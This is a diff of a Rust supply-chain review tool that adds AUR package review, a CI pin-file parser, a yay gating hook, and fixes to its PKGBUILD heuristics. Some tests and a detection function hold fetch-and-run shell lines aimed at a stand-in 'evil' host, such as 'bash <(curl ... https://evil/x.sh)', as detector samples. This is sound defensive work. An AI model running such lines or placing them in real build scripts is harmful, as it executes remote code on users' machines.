diff --git a/CHANGELOG.md b/CHANGELOG.md index a6c3699..33edb0f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,17 @@ and this project adheres to [Semantic Versioning](https://semver.org/). ### Added +- AUR integration (`feat/aur-integration`): `blueline --ecosystem aur ci + --lockfile aur.lock` reviews added and version-changed pins from a file of + one `pkgbase@pkgver-pkgrel` per line (blank lines and `#` comments + skipped, malformed lines and double pins fail closed with line numbers, + 4096-entry cap, base read via `git show` like other ecosystems); a yay v13 + `AURPreInstall` Lua hook recipe in the README gating the build on + `blueline review --yes`, with the re-review-on-drift timing note; + `ecosystem = "aur"` policy scoping through the existing generic matcher; + and README threat-model copy stating the repo-scripts-only scope, the + review-with-blueline-build-with-yay flow, and the commit-bound audit + integrity. - PKGBUILD static heuristics (`src/pkgbuild.rs`, AUR reviews only): a hand-rolled tokenizer with quote-aware lexing (`$'...'` ANSI-C, line continuations, word-boundary comments), multi-pass variable folding, @@ -75,9 +86,32 @@ and this project adheres to [Semantic Versioning](https://semver.org/). 16-shard matrix. - The MCP stdio server no longer prints an stderr note when it receives the client's `notifications/initialized` message. +- AUR adapter resource use: one shallow clone per pkgbase is now reused + across the read-only history operations of a review (resolve walk, + releases walk, author lookup), halving the clones each evaluation + performs; the cache is keyed by the full clone url and capped, and + `fetch_verified` still re-clones so its archive bytes remain a second, + independent sample from the remote. AUR CI reports now carry a + `removed_count` (rendered in the text and markdown summaries) so pins + deleted from the pin file are visible instead of silently dropped. + PKGBUILD `$'...'` `\xHH` and octal escapes now decode as raw bytes the + way bash emits them (`\xc3\xa9` is `é`, not `é`), with non-UTF-8 byte + sequences becoming U+FFFD and over-one-byte octal escapes failing closed. ### Fixed +- AUR review hardening from the PR #53 review: PKGBUILD function bodies are + comment-stripped before rule scanning, so a commented-out `curl | bash` + inside `build()` no longer produces a HIGH R13/R14/R17 false positive; an + unreadable baseline PKGBUILD now raises `R00_BASELINE_UNREADABLE` at High + (matching the unparseable case) instead of Low, so invalid-UTF-8 baselines + cannot slip past the R12/R19 pair rules for a Low finding; interpreter + process substitution (`bash <(curl -fsSL https://…)` and fused + `bash<(curl …)`) now fires R13 even without a pipe; `git` runs under + `LC_ALL=C` so error classification no longer depends on the system locale; + and `git` invocations run in their own process group with bounded pipe + drain, so a transport child (`git-remote-https`, `ssh`, …) that outlives + git and holds the output pipes can no longer hang the review. - AUR review hardening from the adapter review follow-up: per-commit `.SRCINFO` reads distinguish content failures (missing, oversized, non-UTF-8, malformed — counted as skips) from git plumbing failures diff --git a/README.md b/README.md index d391dda..44c11b8 100644 --- a/README.md +++ b/README.md @@ -47,7 +47,7 @@ If a release exceeds risk thresholds, Blueline blocks the install and halts the ## Project status -- [x] Multi-registry support: npm, crates.io (`--ecosystem cargo`), and PyPI (`--ecosystem pypi`) +- [x] Multi-registry support: npm, crates.io (`--ecosystem cargo`), PyPI (`--ecosystem pypi`), and AUR (`--ecosystem aur`, review-only) - [x] Sandboxed archive extraction with path traversal, symlink, and decompression bomb guards - [x] Package manifest parsing, cryptographic integrity (SHA-256 / SHA-512), and PEP 740 / SLSA provenance - [x] SQLite store for verified baseline releases and audit logging @@ -70,6 +70,63 @@ cargo build --release ./target/release/blueline review express@4.21.2 ``` +## AUR + +Blueline reviews AUR packages but never builds them: `blueline install` +refuses `--ecosystem aur` because building a PKGBUILD runs its shell code. +Review with blueline, build with yay or paru. + +```bash +blueline --ecosystem aur review yay@12.4.2-1 +``` + +Threat model, plainly stated: the review covers the repo scripts only. +Downloaded upstream sources listed in `source=()` are not reviewed, and the +build step executes the PKGBUILD. Every AUR card carries that scope +disclosure. The stored approval is bound to the reviewed commit: the audit +log keeps the sha256 of the pinned commit's archive bytes, so a history +rewrite never passes as the same approval. + +### yay gate hook + +yay v13 runs `AURPreInstall` hooks before building. Drop this in your yay +`init.lua` to block the build unless blueline approves the version: + +```lua +yay.create_autocmd("AURPreInstall", { + desc = "gate the build on a blueline review", + callback = function(event) + for _, pkg in ipairs(event.data.packages) do + local spec = event.match .. "@" .. pkg.version + local ok = os.execute( + "blueline --ecosystem aur review " + .. string.format("%q", spec) .. " --yes --policy blueline.toml" + ) + if ok ~= 0 then + yay.abort(event.match .. ": blueline refused " .. spec) + end + end + end, +}) +``` + +Timing note: the review pins the newest commit for that version at review +time, while yay builds its own download. Re-run the review right before the +build and treat any version drift as a re-review signal. + +### AUR in CI + +`blueline ci` accepts a pin file with one `pkgbase@pkgver-pkgrel` per line, +blank lines and `#` comments allowed. Pipe your own tooling over +`pacman -Qqm` to produce it: + +```bash +blueline --ecosystem aur ci --lockfile aur.lock --base origin/main +``` + +Policy rules take `ecosystem = "aur"` to scope allows and blocks to AUR, +or omit it to match every ecosystem. + ## Contributors See [CONTRIBUTORS.md](./CONTRIBUTORS.md) for maintainers, contributors, and details on how to get involved. diff --git a/TODO.md b/TODO.md index cacc259..972a89b 100644 --- a/TODO.md +++ b/TODO.md @@ -122,11 +122,13 @@ Rulings: - yay v13 `AURPreInstall` Lua hook recipe (README): ~10 lines invoking `blueline --ecosystem aur review @ --yes --policy - blueline.toml` to gate the build. Document the TOCTOU property: the hook - reviews the bytes already downloaded, never a re-fetch. -- `blueline ci`: v1 accepts a file of `pkgbase@commit` lines (lockfile - analog; `pacman -Qqm` output can be piped through the user's own tooling). - No alpm linking. + blueline.toml` to gate the build. Document the timing property honestly: + the review re-pins the newest commit for that version at review time while + yay builds its own download, so re-run the review right before the build + and treat any version drift as a re-review signal. +- `blueline ci`: v1 accepts a pin file of `pkgbase@pkgver-pkgrel` lines + (lockfile analog; `pacman -Qqm` output can be piped through the user's own + tooling). No alpm linking. - Policy: `ecosystem = "aur"` rules work via the existing optional-ecosystem matching; audit log records commit hashes. - Docs: threat-model disclosure card copy and the "review with blueline, @@ -137,7 +139,7 @@ Rulings: - [x] PR1 feat/aur-foundation - [x] PR2 feat/aur-adapter - [x] PR3 feat/pkgbuild-heuristics -- [ ] PR4 feat/aur-integration +- [x] PR4 feat/aur-integration Mark your PR's box `[x]` in the same branch before opening it. diff --git a/src/ci.rs b/src/ci.rs index b7d182e..47e75b5 100644 --- a/src/ci.rs +++ b/src/ci.rs @@ -1,3 +1,4 @@ +use std::collections::BTreeMap; use std::fs; use std::io::Write; use std::path::Path; @@ -8,10 +9,12 @@ use serde::{Deserialize, Serialize}; use crate::lockfile::{compute_delta_from_maps, compute_lockfile_delta}; use crate::policy::Policy; use crate::registry::Ecosystem; +use crate::registry::aur::validate_aur_name; use crate::render::{sanitize_single_line, sanitize_terminal}; use crate::review::evaluate_package; use crate::store::BaselineStore; use crate::verdict::{Verdict, VerdictBand}; +use crate::version::{AurVersionInfo, VersionInfo}; #[derive(Clone, Copy, Debug, PartialEq, Eq)] pub enum CiOutputFormat { @@ -36,6 +39,7 @@ pub struct CiReport { pub lockfile_path: String, pub total_evaluated: usize, pub unchanged_count: usize, + pub removed_count: usize, pub max_band: VerdictBand, pub passed: bool, pub items: Vec, @@ -62,6 +66,55 @@ fn is_pypi_lockfile(ecosystem: Ecosystem, lockfile_path: &Path) -> bool { }) } +/// Bounds for the AUR CI file: one `pkgbase@pkgver-pkgrel` per line. +const MAX_AUR_CI_LINES: usize = 4096; +const MAX_AUR_CI_LINE_BYTES: usize = 512; +const MAX_AUR_CI_FILE_BYTES: usize = MAX_AUR_CI_LINES * MAX_AUR_CI_LINE_BYTES; + +/// Parse an AUR CI file into `pkgbase -> version`. Blank lines and `#` +/// comments are skipped; everything else must be exactly one valid +/// `pkgbase@pkgver-pkgrel` entry or the whole file fails closed with the +/// offending line number. A repeated pkgbase with a different version fails +/// closed so the file cannot state two pins for one package. +fn parse_aur_ci_lines(content: &str) -> anyhow::Result> { + if content.len() > MAX_AUR_CI_FILE_BYTES { + anyhow::bail!("AUR CI file exceeds {MAX_AUR_CI_FILE_BYTES} bytes"); + } + let mut map = BTreeMap::new(); + for (idx, raw) in content.lines().enumerate() { + let lineno = idx + 1; + let line = raw.trim(); + if line.is_empty() || line.starts_with('#') { + continue; + } + if line.len() > MAX_AUR_CI_LINE_BYTES { + anyhow::bail!("AUR CI file line {lineno} exceeds {MAX_AUR_CI_LINE_BYTES} bytes"); + } + if map.len() >= MAX_AUR_CI_LINES { + anyhow::bail!("AUR CI file exceeds {MAX_AUR_CI_LINES} entries"); + } + let Some((name, version)) = line.split_once('@') else { + anyhow::bail!("AUR CI file line {lineno} must be `pkgbase@pkgver-pkgrel`"); + }; + if !validate_aur_name(name) { + anyhow::bail!("AUR CI file line {lineno} has an invalid pkgbase `{name}`"); + } + if AurVersionInfo::parse(version).is_err() { + anyhow::bail!("AUR CI file line {lineno} has an invalid version `{version}`"); + } + match map.get(name) { + Some(prev) if prev != version => { + anyhow::bail!("AUR CI file pins `{name}` twice with different versions"); + } + Some(_) => continue, + None => { + map.insert(name.to_string(), version.to_string()); + } + } + } + Ok(map) +} + fn check_evaluation_budget(added: usize, upgraded: usize, max: usize) -> anyhow::Result { let total = added + upgraded; if total > max { @@ -93,12 +146,6 @@ pub fn run( fail_on_override: Option, output_file: Option<&Path>, ) -> anyhow::Result<()> { - if ecosystem == Ecosystem::Aur { - return Err(anyhow::anyhow!( - "AUR CI scanning is not supported yet: there is no AUR lockfile format to diff" - )); - } - let policy = Policy::load_or_default(policy_path)?; let store = BaselineStore::open()?; @@ -116,7 +163,8 @@ pub fn run( let is_cargo = is_cargo_lockfile(ecosystem, lockfile_path); let is_pypi = is_pypi_lockfile(ecosystem, lockfile_path); - let base_content = extract_base_lockfile(base_ref, lockfile_path, is_cargo, is_pypi)?; + let is_aur = ecosystem == Ecosystem::Aur; + let base_content = extract_base_lockfile(base_ref, lockfile_path, is_cargo, is_pypi, is_aur)?; let lockfile_str = lockfile_path.display().to_string(); let ctx = CiContext { @@ -178,6 +226,10 @@ pub fn evaluate_lockfile_diff( store: &BaselineStore, policy: &Policy, ) -> anyhow::Result { + if ctx.ecosystem == Ecosystem::Aur { + return evaluate_aur_ci_diff(base_content, head_content, ctx, store, policy); + } + let is_cargo = is_cargo_lockfile(ctx.ecosystem, Path::new(ctx.lockfile_path)); let is_pypi = is_pypi_lockfile(ctx.ecosystem, Path::new(ctx.lockfile_path)); @@ -307,6 +359,83 @@ pub fn evaluate_lockfile_diff( lockfile_path: ctx.lockfile_path.to_string(), total_evaluated: items.len(), unchanged_count: delta.unchanged_count, + removed_count: delta.removed.len(), + max_band, + passed, + items, + }) +} + +/// Review the AUR CI file diff: every added or version-changed pkgbase gets +/// a full `evaluate_package` review. Removed entries need no review. +/// The stored integrity for each item is the sha256 of the pinned commit's +/// `git archive` bytes, so the audit trail stays bound to the commit hash. +fn evaluate_aur_ci_diff( + base_content: &str, + head_content: &str, + ctx: &CiContext<'_>, + store: &BaselineStore, + policy: &Policy, +) -> anyhow::Result { + let base_pkgs = parse_aur_ci_lines(base_content)?; + let head_pkgs = parse_aur_ci_lines(head_content)?; + + let mut added = 0usize; + let mut upgraded = 0usize; + let mut unchanged_count = 0usize; + let mut evals: Vec<(String, Option, String)> = Vec::new(); + for (name, new_version) in &head_pkgs { + match base_pkgs.get(name) { + None => { + added += 1; + evals.push((name.clone(), None, new_version.clone())); + } + Some(old) if old != new_version => { + upgraded += 1; + evals.push((name.clone(), Some(old.clone()), new_version.clone())); + } + _ => unchanged_count += 1, + } + } + let removed_count = base_pkgs + .keys() + .filter(|name| !head_pkgs.contains_key(*name)) + .count(); + + check_evaluation_budget(added, upgraded, policy.ci.max_evaluations)?; + + let mut items = Vec::new(); + let mut max_band = VerdictBand::Low; + for (name, old_version, new_version) in evals { + let (verdict, _, _, _) = evaluate_package( + &name, + &new_version, + ctx.ecosystem, + ctx.registry_base, + store, + policy, + )?; + max_band = update_max_band(max_band, verdict.band); + items.push(CiReviewItem { + name, + old_version, + new_version, + is_dev: false, + verdict, + }); + } + + let fail_threshold = ctx + .fail_on + .unwrap_or_else(|| parse_band_str(&policy.ci.fail_on).unwrap_or(VerdictBand::High)); + let passed = band_passes(max_band, fail_threshold); + + Ok(CiReport { + base_ref: ctx.base_ref.to_string(), + lockfile_path: ctx.lockfile_path.to_string(), + total_evaluated: items.len(), + unchanged_count, + removed_count, max_band, passed, items, @@ -318,6 +447,7 @@ fn extract_base_lockfile( lockfile_path: &Path, is_cargo: bool, is_pypi: bool, + is_aur: bool, ) -> anyhow::Result { let trimmed_ref = base_ref.trim(); if trimmed_ref.starts_with('-') || trimmed_ref.is_empty() { @@ -336,7 +466,7 @@ fn extract_base_lockfile( if is_cargo { return Ok("version = 4\n".to_string()); } - if is_pypi { + if is_pypi || is_aur { return Ok(String::new()); } return Ok(r#"{"lockfileVersion": 3, "packages": {}}"#.to_string()); @@ -381,10 +511,11 @@ pub fn render_markdown_summary(report: &CiReport) -> String { let mut out = String::new(); out.push_str("## 🛡️ Blueline CI Security Review\n\n"); out.push_str(&format!( - "**Base Ref:** `{}` · **Evaluated Packages:** {} · **Unchanged:** {}\n\n", + "**Base Ref:** `{}` · **Evaluated Packages:** {} · **Unchanged:** {} · **Removed:** {}\n\n", escape_markdown_cell(&report.base_ref), report.total_evaluated, - report.unchanged_count + report.unchanged_count, + report.removed_count )); if report.items.is_empty() { @@ -450,6 +581,7 @@ pub fn render_text_summary_to_string(report: &CiReport) -> String { )); out.push_str(&format!("Evaluated: {}\n", report.total_evaluated)); out.push_str(&format!("Unchanged: {}\n", report.unchanged_count)); + out.push_str(&format!("Removed: {}\n", report.removed_count)); out.push_str(&format!("Max Risk Band: {}\n", report.max_band)); out.push_str(&format!( "Status: {}\n", @@ -635,17 +767,24 @@ mod tests { Path::new("package-lock.json"), false, false, + false, ) .unwrap_err(); assert!(err.to_string().contains("cannot start with '-'")); - let err_ws_flag = - extract_base_lockfile(" --evil", Path::new("package-lock.json"), false, false) - .unwrap_err(); + let err_ws_flag = extract_base_lockfile( + " --evil", + Path::new("package-lock.json"), + false, + false, + false, + ) + .unwrap_err(); assert!(err_ws_flag.to_string().contains("cannot start with '-'")); let err_empty = - extract_base_lockfile(" ", Path::new("package-lock.json"), false, false).unwrap_err(); + extract_base_lockfile(" ", Path::new("package-lock.json"), false, false, false) + .unwrap_err(); assert!(err_empty.to_string().contains("or be empty")); } @@ -656,6 +795,7 @@ mod tests { lockfile_path: "package-lock.json".to_string(), total_evaluated: 1, unchanged_count: 5, + removed_count: 0, max_band: VerdictBand::Block, passed: false, items: vec![CiReviewItem { @@ -702,6 +842,7 @@ mod tests { lockfile_path: "package-lock.json".to_string(), total_evaluated: 1, unchanged_count: 0, + removed_count: 0, max_band: VerdictBand::Block, passed: false, items: vec![CiReviewItem { @@ -747,6 +888,7 @@ mod tests { lockfile_path: "package-lock.json".to_string(), total_evaluated: 1, unchanged_count: 5, + removed_count: 0, max_band: VerdictBand::Low, passed: true, items: vec![CiReviewItem { @@ -788,6 +930,7 @@ mod tests { lockfile_path: "package-lock.json".to_string(), total_evaluated: 1, unchanged_count: 3, + removed_count: 0, max_band: VerdictBand::Low, passed: true, items: vec![], @@ -805,6 +948,7 @@ mod tests { lockfile_path: "package-lock.json".to_string(), total_evaluated: 1, unchanged_count: 0, + removed_count: 0, max_band: VerdictBand::High, passed: false, items: vec![CiReviewItem { @@ -855,6 +999,7 @@ mod tests { lockfile_path: "package-lock.json".to_string(), total_evaluated: 1, unchanged_count: 0, + removed_count: 0, max_band: VerdictBand::High, passed: false, items: vec![CiReviewItem { @@ -910,6 +1055,7 @@ mod tests { Path::new("package-lock.json"), false, false, + false, ); assert!(res.is_err()); let res_nonexistent = extract_base_lockfile( @@ -917,6 +1063,7 @@ mod tests { Path::new("package-lock.json"), false, false, + false, ); assert!(res_nonexistent.is_err()); } @@ -928,6 +1075,7 @@ mod tests { Path::new("Cargo.lock.missing-for-test-xyz"), true, false, + false, ) .unwrap(); assert_eq!(cargo_empty, "version = 4\n"); @@ -937,6 +1085,7 @@ mod tests { Path::new("package-lock.missing-for-test-xyz"), false, false, + false, ) .unwrap(); assert_eq!(npm_empty, r#"{"lockfileVersion": 3, "packages": {}}"#); @@ -946,10 +1095,153 @@ mod tests { Path::new("requirements.missing-for-test-xyz.txt"), false, true, + false, ) .unwrap(); assert_eq!(pypi_empty, ""); assert!(crate::lockfile::parse_requirements_txt_packages(&pypi_empty).is_ok()); + let aur_empty = extract_base_lockfile( + "HEAD", + Path::new("aur.missing-for-test-xyz.lock"), + false, + false, + true, + ) + .unwrap(); + assert_eq!(aur_empty, ""); + assert!(parse_aur_ci_lines(&aur_empty).is_ok()); + } + + #[test] + fn aur_ci_file_parses_pins_and_skips_comments() { + let map = parse_aur_ci_lines("# pinned AUR set\nyay@12.4.2-1\n\nparu@2.0.4-1\n").unwrap(); + assert_eq!(map.get("yay").map(String::as_str), Some("12.4.2-1")); + assert_eq!(map.get("paru").map(String::as_str), Some("2.0.4-1")); + let same = parse_aur_ci_lines("yay@12.4.2-1\nyay@12.4.2-1\n").unwrap(); + assert_eq!(same.len(), 1); + } + + #[test] + fn aur_ci_file_fails_closed_with_line_numbers() { + let err = parse_aur_ci_lines("yay@12.4.2-1\nnot a pin\n").unwrap_err(); + assert!(err.to_string().contains("line 2"), "{err}"); + let err = parse_aur_ci_lines("YAY@12.4.2-1\n").unwrap_err(); + assert!(err.to_string().contains("line 1"), "{err}"); + let err = parse_aur_ci_lines("yay@not-a-version!\n").unwrap_err(); + assert!(err.to_string().contains("line 1"), "{err}"); + let err = parse_aur_ci_lines("yay@1.0-1\nyay@2.0-1\n").unwrap_err(); + assert!(err.to_string().contains("twice"), "{err}"); + } + + #[test] + fn aur_ci_file_enforces_line_and_total_caps() { + let overlong = format!("{}@1.0-1\n", "y".repeat(MAX_AUR_CI_LINE_BYTES)); + let err = parse_aur_ci_lines(&overlong).unwrap_err(); + assert!(err.to_string().contains("exceeds"), "{err}"); + let at_cap = format!("{}@1.0-1\n", "Y".repeat(MAX_AUR_CI_LINE_BYTES - 6)); + let err = parse_aur_ci_lines(&at_cap).unwrap_err(); + assert!(err.to_string().contains("invalid pkgbase"), "{err}"); + let huge = "#".repeat(MAX_AUR_CI_FILE_BYTES + 1); + let err = parse_aur_ci_lines(&huge).unwrap_err(); + assert!(err.to_string().contains("exceeds"), "{err}"); + let chunk = format!("{}\n", "#".repeat(511)); + assert_eq!(chunk.len(), 512); + let full = chunk.repeat(MAX_AUR_CI_LINES); + assert_eq!(full.len(), MAX_AUR_CI_FILE_BYTES); + assert!(parse_aur_ci_lines(&full).is_ok()); + } + + #[test] + fn aur_ci_file_enforces_entry_cap() { + let mut pins = String::new(); + for i in 0..MAX_AUR_CI_LINES { + pins.push_str(&format!("pkg{i:04}@1.0-1\n")); + } + assert_eq!(parse_aur_ci_lines(&pins).unwrap().len(), MAX_AUR_CI_LINES); + pins.push_str("one-more@1.0-1\n"); + let err = parse_aur_ci_lines(&pins).unwrap_err(); + assert!(err.to_string().contains("exceeds"), "{err}"); + } + + #[test] + fn aur_ci_diff_enforces_evaluation_budget() { + let dir = tempfile::tempdir().unwrap(); + let store = BaselineStore::open_at(&dir.path().join("t.db")).unwrap(); + let mut policy = Policy::default(); + policy.ci.max_evaluations = 1; + let ctx = CiContext { + base_ref: "HEAD", + lockfile_path: "aur.lock", + registry_base: "http://127.0.0.1:9", + fail_on: None, + ecosystem: Ecosystem::Aur, + }; + let err = + evaluate_aur_ci_diff("", "yay@1.0-1\nparu@2.0-1\n", &ctx, &store, &policy).unwrap_err(); + assert!(err.to_string().contains("maximum configured"), "{err}"); + let err = evaluate_aur_ci_diff( + "yay@1.0-1\nparu@2.0-1\n", + "yay@2.0-1\nparu@2.1-1\n", + &ctx, + &store, + &policy, + ) + .unwrap_err(); + assert!(err.to_string().contains("maximum configured"), "{err}"); + } + + #[test] + fn aur_ci_diff_counts_unchanged_pins() { + let dir = tempfile::tempdir().unwrap(); + let store = BaselineStore::open_at(&dir.path().join("t.db")).unwrap(); + let policy = Policy::load_or_default(None).unwrap(); + let ctx = CiContext { + base_ref: "HEAD", + lockfile_path: "aur.lock", + registry_base: "http://127.0.0.1:9", + fail_on: None, + ecosystem: Ecosystem::Aur, + }; + // Base and head share the same pins: both take the unchanged arm and + // evals stays empty, so evaluate_package and the network are untouched. + let report = evaluate_aur_ci_diff( + "yay@1.0-1\nparu@2.0-1\n", + "yay@1.0-1\nparu@2.0-1\n", + &ctx, + &store, + &policy, + ) + .unwrap(); + assert_eq!(report.unchanged_count, 2); + assert_eq!(report.total_evaluated, 0); + } + + #[test] + fn aur_ci_diff_counts_removed_pins() { + let dir = tempfile::tempdir().unwrap(); + let store = BaselineStore::open_at(&dir.path().join("t.db")).unwrap(); + let policy = Policy::load_or_default(None).unwrap(); + let ctx = CiContext { + base_ref: "HEAD", + lockfile_path: "aur.lock", + registry_base: "http://127.0.0.1:9", + fail_on: None, + ecosystem: Ecosystem::Aur, + }; + // `prs` vanishes from head: reported as removed, never evaluated. + // Three base pins against two head pins so deleting the `!` in the + // filter (counting pins present in both) yields 2, not 1. + let report = evaluate_aur_ci_diff( + "yay@1.0-1\nparu@2.0-1\nprs@3.0-1\n", + "yay@1.0-1\nparu@2.0-1\n", + &ctx, + &store, + &policy, + ) + .unwrap(); + assert_eq!(report.removed_count, 1); + assert_eq!(report.total_evaluated, 0); + assert_eq!(report.unchanged_count, 2); } #[test] diff --git a/src/pkgbuild.rs b/src/pkgbuild.rs index 43fc337..5dffc94 100644 --- a/src/pkgbuild.rs +++ b/src/pkgbuild.rs @@ -89,29 +89,34 @@ fn valid_name(name: &str) -> bool { } } +/// Decode a bash `$'...'` ANSI-C quoted body. `\xHH` and `\NNN` octal +/// escapes emit raw bytes (as bash does), so the buffer is built as bytes +/// and lossily converted at the end; byte sequences that are not UTF-8 +/// become U+FFFD, which cannot match any rule keyword. fn decode_ansi_c(body: &str) -> Result { - let mut out = String::new(); + let mut out: Vec = Vec::new(); let mut chars = body.chars(); while let Some(ch) = chars.next() { if ch != '\\' { - out.push(ch); + let mut buf = [0u8; 4]; + out.extend_from_slice(ch.encode_utf8(&mut buf).as_bytes()); continue; } let esc = chars .next() .ok_or_else(|| pkgbuild_err("dangling backslash in $'...' literal".to_string()))?; match esc { - 'n' => out.push('\n'), - 't' => out.push('\t'), - 'r' => out.push('\r'), - 'a' => out.push('\x07'), - 'b' => out.push('\x08'), - 'f' => out.push('\x0C'), - 'v' => out.push('\x0B'), - '\\' => out.push('\\'), - '\'' => out.push('\''), - '"' => out.push('"'), - 'e' | 'E' => out.push('\x1B'), + 'n' => out.push(b'\n'), + 't' => out.push(b'\t'), + 'r' => out.push(b'\r'), + 'a' => out.push(0x07), + 'b' => out.push(0x08), + 'f' => out.push(0x0C), + 'v' => out.push(0x0B), + '\\' => out.push(b'\\'), + '\'' => out.push(b'\''), + '"' => out.push(b'"'), + 'e' | 'E' => out.push(0x1B), 'x' => { let hex: String = chars.by_ref().take(2).collect(); if hex.len() != 2 || !hex.chars().all(|c| c.is_ascii_hexdigit()) { @@ -119,7 +124,7 @@ fn decode_ansi_c(body: &str) -> Result { } let byte = u8::from_str_radix(&hex, 16) .map_err(|_| pkgbuild_err("bad hex".to_string()))?; - out.push(byte as char); + out.push(byte); } 'u' => { let hex: String = chars.by_ref().take(4).collect(); @@ -128,10 +133,10 @@ fn decode_ansi_c(body: &str) -> Result { } let cp = u32::from_str_radix(&hex, 16) .map_err(|_| pkgbuild_err("bad unicode".to_string()))?; - out.push( - char::from_u32(cp) - .ok_or_else(|| pkgbuild_err("bad unicode scalar".to_string()))?, - ); + let ch = char::from_u32(cp) + .ok_or_else(|| pkgbuild_err("bad unicode scalar".to_string()))?; + let mut buf = [0u8; 4]; + out.extend_from_slice(ch.encode_utf8(&mut buf).as_bytes()); } '0'..='7' => { let mut oct = String::from(esc); @@ -144,12 +149,14 @@ fn decode_ansi_c(body: &str) -> Result { _ => break, } } - let cp = u32::from_str_radix(&oct, 8) + let byte_val = u32::from_str_radix(&oct, 8) .map_err(|_| pkgbuild_err("bad octal".to_string()))?; - out.push( - char::from_u32(cp) - .ok_or_else(|| pkgbuild_err("bad octal scalar".to_string()))?, - ); + if byte_val > u8::MAX as u32 { + return Err(pkgbuild_err(format!( + "octal escape `\\{oct}` exceeds one byte in $'...' literal" + ))); + } + out.push(byte_val as u8); } other => { return Err(pkgbuild_err(format!( @@ -158,7 +165,7 @@ fn decode_ansi_c(body: &str) -> Result { } } } - Ok(out) + Ok(String::from_utf8_lossy(&out).into_owned()) } fn find_matching(input: &str, start: usize, open: char, close: char) -> Option { @@ -924,7 +931,10 @@ pub fn parse_pkgbuild(input: &str) -> Result { .collect::>() .join("\n"); folded.has_indirection |= has_true_indirection(&scan); - folded.func_bodies.insert(name, body); + // Rules run over these bodies, so they must be comment-stripped + // like `scan`: a commented-out `curl | bash` inside a function + // must not fire R13. + folded.func_bodies.insert(name, scan); idx = j + 1; continue; } @@ -1833,13 +1843,51 @@ fn line_matches_pipe_to_shell(line: &str) -> bool { fetcher && shell_hits } +/// `bash <(curl -fsSL https://…)` and fused variants (`bash<(curl …)`) are +/// the classic curl-pipe-to-shell in disguise: the interpreter consumes the +/// process-substitution stream directly, so no `|` appears for +/// `line_matches_pipe_to_shell` to see. Fires only when a fetcher runs +/// inside the substitution immediately following an interpreter word. +fn line_matches_interpreter_procsub(line: &str) -> bool { + let lower = line.to_lowercase(); + if !lower.contains("<(") { + return false; + } + let fetchers = ["curl", "wget", "aria2c", "axel"]; + let interpreters = [ + "bash", "sh", "dash", "zsh", "fish", "python", "python3", "perl", "ruby", "php", + ]; + let words: Vec<&str> = lower.split_whitespace().collect(); + for (i, word) in words.iter().enumerate() { + let (interp, stream) = if interpreters.contains(word) { + (*word, words[i + 1..].join(" ")) + } else if let Some(idx) = word.find("<(") { + let head = &word[..idx]; + let tail = &word[idx + 2..]; + (head, format!("<({tail} {}", words[i + 1..].join(" "))) + } else { + continue; + }; + if !interpreters.contains(&interp) { + continue; + } + if let Some(rest) = stream.strip_prefix("<(") { + let inner = rest.split(')').next().unwrap_or(rest); + if fetchers.iter().any(|f| inner.contains(f)) { + return true; + } + } + } + false +} + fn check_r13(folded: &FoldedPkgbuild) -> Vec { let bodies = shell_bodies(folded); for (name, body) in &bodies { let resolved = fold_body_vars(body, folded); for line in resolved.lines() { let norm = normalize_body_line(line); - if line_matches_pipe_to_shell(&norm) { + if line_matches_pipe_to_shell(&norm) || line_matches_interpreter_procsub(&norm) { let short: String = line.trim().chars().take(120).collect(); return vec![PkgFinding { rule_id: "R13_PIPE_TO_SHELL".to_string(), @@ -2361,6 +2409,32 @@ mod tests { assert!(parse_pkgbuild("msg=$'a\\xZZ'\n").is_err()); } + #[test] + fn ansi_c_hex_escapes_emit_bytes_not_latin1_chars() { + // bash emits $'\xc3\xa9' as the two UTF-8 bytes of `é`, not `é`. + let folded = parse_pkgbuild("msg=$'\\xc3\\xa9'\n").unwrap(); + assert_eq!(known(&folded, "msg").as_deref(), Some("é")); + // Octal escapes are bytes too: \303\251 is `é`. + let folded = parse_pkgbuild("msg=$'\\303\\251'\n").unwrap(); + assert_eq!(known(&folded, "msg").as_deref(), Some("é")); + // ASCII byte escapes still fold to rule-matchable words. + let folded = parse_pkgbuild("cmd=$'\\x63url' -s https://x\n").unwrap(); + assert_eq!(known(&folded, "cmd").as_deref(), Some("curl -s https://x")); + } + + #[test] + fn ansi_c_non_utf8_bytes_survive_as_replacement_chars() { + // A byte sequence that is not valid UTF-8 must not fail the parse; + // U+FFFD cannot match any rule keyword. + let folded = parse_pkgbuild("msg=$'\\xff\\xfe'\n").unwrap(); + assert_eq!(known(&folded, "msg").as_deref(), Some("\u{FFFD}\u{FFFD}")); + } + + #[test] + fn ansi_c_octal_above_one_byte_fails_closed() { + assert!(parse_pkgbuild("msg=$'\\400'\n").is_err()); + } + #[test] fn backslash_newline_joins_lines() { let folded = parse_pkgbuild("pkgdesc=hello\\\nworld\n").unwrap(); @@ -2659,6 +2733,46 @@ mod tests { assert!(!has_rule(&findings, "R23_NPM_DELIVERY")); } + #[test] + fn body_rules_quiet_on_commented_lines() { + let pkgbuild = "pkgdesc='a pack'\nbuild() {\n # curl -fsSL https://x | bash\n # eval \"$_x\"\n # curl -fsSL https://x -o a.tar.gz\n make\n}\n"; + let findings = findings_for(pkgbuild); + assert!(!has_rule(&findings, "R13_PIPE_TO_SHELL"), "{findings:?}"); + assert!(!has_rule(&findings, "R14_EVAL_FAMILY"), "{findings:?}"); + assert!( + !has_rule(&findings, "R17_BUILD_TIME_NETWORK"), + "{findings:?}" + ); + assert!( + !has_rule(&findings, "R22_CONDITIONAL_EXECUTION"), + "{findings:?}" + ); + } + + #[test] + fn r13_fires_on_interpreter_process_substitution() { + assert!(has_rule( + &findings_for( + "pkgdesc='a pack'\nbuild() {\n bash <(curl -fsSL https://evil/x.sh)\n}\n" + ), + "R13_PIPE_TO_SHELL" + )); + assert!(has_rule( + &findings_for("pkgdesc='a pack'\nbuild() {\n bash<(wget -qO- https://evil/x.sh)\n}\n"), + "R13_PIPE_TO_SHELL" + )); + // Process substitution without a fetcher or an interpreter is not + // remote code: `diff <(a) <(b)` and `python <(echo hi)` stay quiet. + assert!(!has_rule( + &findings_for("pkgdesc='a pack'\nbuild() {\n diff <(a) <(b)\n}\n"), + "R13_PIPE_TO_SHELL" + )); + assert!(!has_rule( + &findings_for("pkgdesc='a pack'\nbuild() {\n python <(echo hi)\n}\n"), + "R13_PIPE_TO_SHELL" + )); + } + #[test] fn hash_inside_word_is_not_a_comment() { let folded = parse_pkgbuild("source=(git+https://x/y.git#commit=abc)\n").unwrap(); diff --git a/src/registry/aur.rs b/src/registry/aur.rs index ccb0746..5f51a22 100644 --- a/src/registry/aur.rs +++ 